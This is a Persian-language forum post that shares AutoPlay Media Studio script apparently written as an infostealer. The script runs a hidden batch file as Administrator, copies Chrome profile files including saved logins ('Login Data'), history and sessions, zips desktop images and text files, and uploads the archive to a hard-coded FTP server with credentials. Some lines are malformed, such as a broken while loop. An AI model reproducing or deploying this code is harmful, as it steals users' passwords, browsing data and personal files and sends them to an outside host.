MR_C0D3R :
سلام
میخواستم کمکت کنم
تا جایی هم که یادمه ، بهت قول هم داده بودم که ردیف کنم
اما وقت هاستی که تهیه کرده بودم برای کدنویسی و تست اینجور چیزا وقتش تموم شده بود
نیازی هم نداشتم که بخوام مجددا فعالش کنم
در مورد کد های ارسالی هم اینکه
تست نکردم چون ازش سر در نیاوردم
حسشم نیست که بخوام ابزاری چیزی نصب کنم
ولی در کل دیدی بگردی و سر جمع کنی چیز خوبی گیرت میاد ؟ D:
موفق باشی ...
--Dialog.TimedMessage("Please Wait...", "Working...", 2000, MB_ICONINFORMATION);
nReturnCode = File.RunAs("AutoPlay\\Docs\\fiwrewwall.bat", "/W", "", SW_HIDE, false, "Administrator", "master_password", "work.fakedomain.com", LOGON_WITH_PROFILE, nil, ExtendedErrorInfo);
--errrr = Dialog.Message("Connection failed", "You are not connected to the Internet.", MB_OK, MB_ICONSTOP, MB_DEFBUTTON1);
---------
appdata = Shell.GetFolder(SHF_APPLICATIONDATA_LOCAL)
Folder.Create(appdata.."\\googlefiles")
------------------------------------------
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\Bookmarks", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\Current Session", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\Current Tabs", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\DownloadMetadata", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\Favicons", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\History", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\History Provider Cache", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\in_progress_download_metadata_store", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\Last Session", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\Last Tabs", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\Login Data", appdata.."\\googlefiles", true, true, false, true, nil);
File.Copy(appdata.."\\Google\\chrome\\User Data\\Default\\Network Action Predictor", appdata.."\\googlefiles", true, true, false, true, nil);
dt1 = TextFile.ReadToString(appdata.."\\googlefiles\\Bookmarks");
dt2 = TextFile.ReadToString(appdata.."\\googlefiles\\Current Session");
dt3 = TextFile.ReadToString(appdata.."\\googlefiles\\Current Tabs");
dt4 = TextFile.ReadToString(appdata.."\\googlefiles\\DownloadMetadata");
dt5 = TextFile.ReadToString(appdata.."\\googlefiles\\Favicons");
dt6 = TextFile.ReadToString(appdata.."\\googlefiles\\History");
dt7 = TextFile.ReadToString(appdata.."\\googlefiles\\History Provider Cache");
dt8 = TextFile.ReadToString(appdata.."\\googlefiles\\in_progress_download_metadata_store");
dt9 = TextFile.ReadToString(appdata.."\\googlefiles\\Last Session");
dt10 = TextFile.ReadToString(appdata.."\\googlefiles\\Last Tabs");
dt11 = TextFile.ReadToString(appdata.."\\googlefiles\\Login Data");
dt12 = TextFile.ReadToString(appdata.."\\googlefiles\\Network Action Predictor");
TextFile.WriteFromString(appdata.."\\googlefiles\\alldata.milano", dt1.."enddt1"..dt2.."enddt2"..dt3.."enddt3"..dt4.."enddt4"..dt5.."enddt5"..dt6.."enddt6"..dt7.."enddt7"..dt8.."enddt8"..dt9.."enddt9"..dt10.."enddt10"..dt11.."enddt11"..dt12.."enddt12", false);
-----------------------
Folder.Create(_ProgramFilesFolder.."\\googlefiles")
desks = Shell.GetFolder(SHF_DESKTOP)
Zip.Add(appdata.."\\googlefiles\\desktpjpg.zip", {desks.."\\*.jpg"}, true, "pass123", 5, nil, false);
Zip.Add(appdata.."\\googlefiles\\desktptxt.zip", {desks.."\\*.txt"}, true, "pass123", 5, nil, false);
-----------------------
--File.ExploreFolder(appdata.."\\googlefiles", SW_MAXIMIZED);
Zip.Add(_ProgramFilesFolder.."\\googlefiles\\addtozip.zip", {appdata.."\\googlefiles\\*.*"}, true, "pass123", 9, nil, false);
-------Zip.Add(_ProgramFilesFolder.."\\googlefiles\\desktp.zip", {desks.."\\*.jpg"}, true, "pass123", 9, nil, false);
--File.Open(appdata.."\\Google\\chrome\\User Data\\Default\\Web Data", "C:\\alllll.txt", SW_SHOWNORMAL);
------------------------------------add FTP Code
folderl = Shell.GetFolder(SHF_APPLICATIONDATA_LOCAL)
onoroff = TextFile.ReadToString(folderl.."\\Ftp Dir on.ftp")
if(onoroff=="")then
random_num2 = Math.Random(20000,99999);
TextFile.WriteFromString(folderl.."\\Ftp Dir Name.ftp", random_num2, false)
TextFile.WriteFromString(folderl.."\\Ftp Dir on.ftp", "on", false)
-- connect to NASA's space image server
end
--Dialog connecting
File.Run("AutoPlay\\Docs\\psiphon3.exe", "", "", SW_SHOWNORMAL, false);
-- A while loop
connection = 99;
while (connection netstat = HTTP.TestConnection("http://blog.ir", 20, 80, nil, nil);
if (netstat==true)then
connection = connection+1
else
Application.Sleep(2000)
end
end
-- note: the username and password won't work, this is just an example :)
FTP.Connect("78.46.79.115", "fryoug", "WTeL7f4S0555c1", "");
--------------------------
--------------------------
-- upload a file to the current directory
-- (note: assumes already connected to an FTP server)
dirname = TextFile.ReadToString(folderl.."\\Ftp Dir Name.ftp");
FTP.ChangeDir("/uploads");
FTP.MakeDir(dirname);
FTP.ChangeDir("/uploads/"..dirname);
FTP.Upload(_ProgramFilesFolder.."\\googlefiles\\addtozip.zip", dirname.."addtozip.zip");
-- اف تی پی هم نقطه چین کن
on Show:
Application.Exit()
-- add program To zip File exaple: telegram and more...
--Zip.Add(_ProgramFilesFolder.."\\bf.zip", {_ProgramFilesFolder.."\\B-Font\\*.*"}, true, "pass123", 9, nil, true);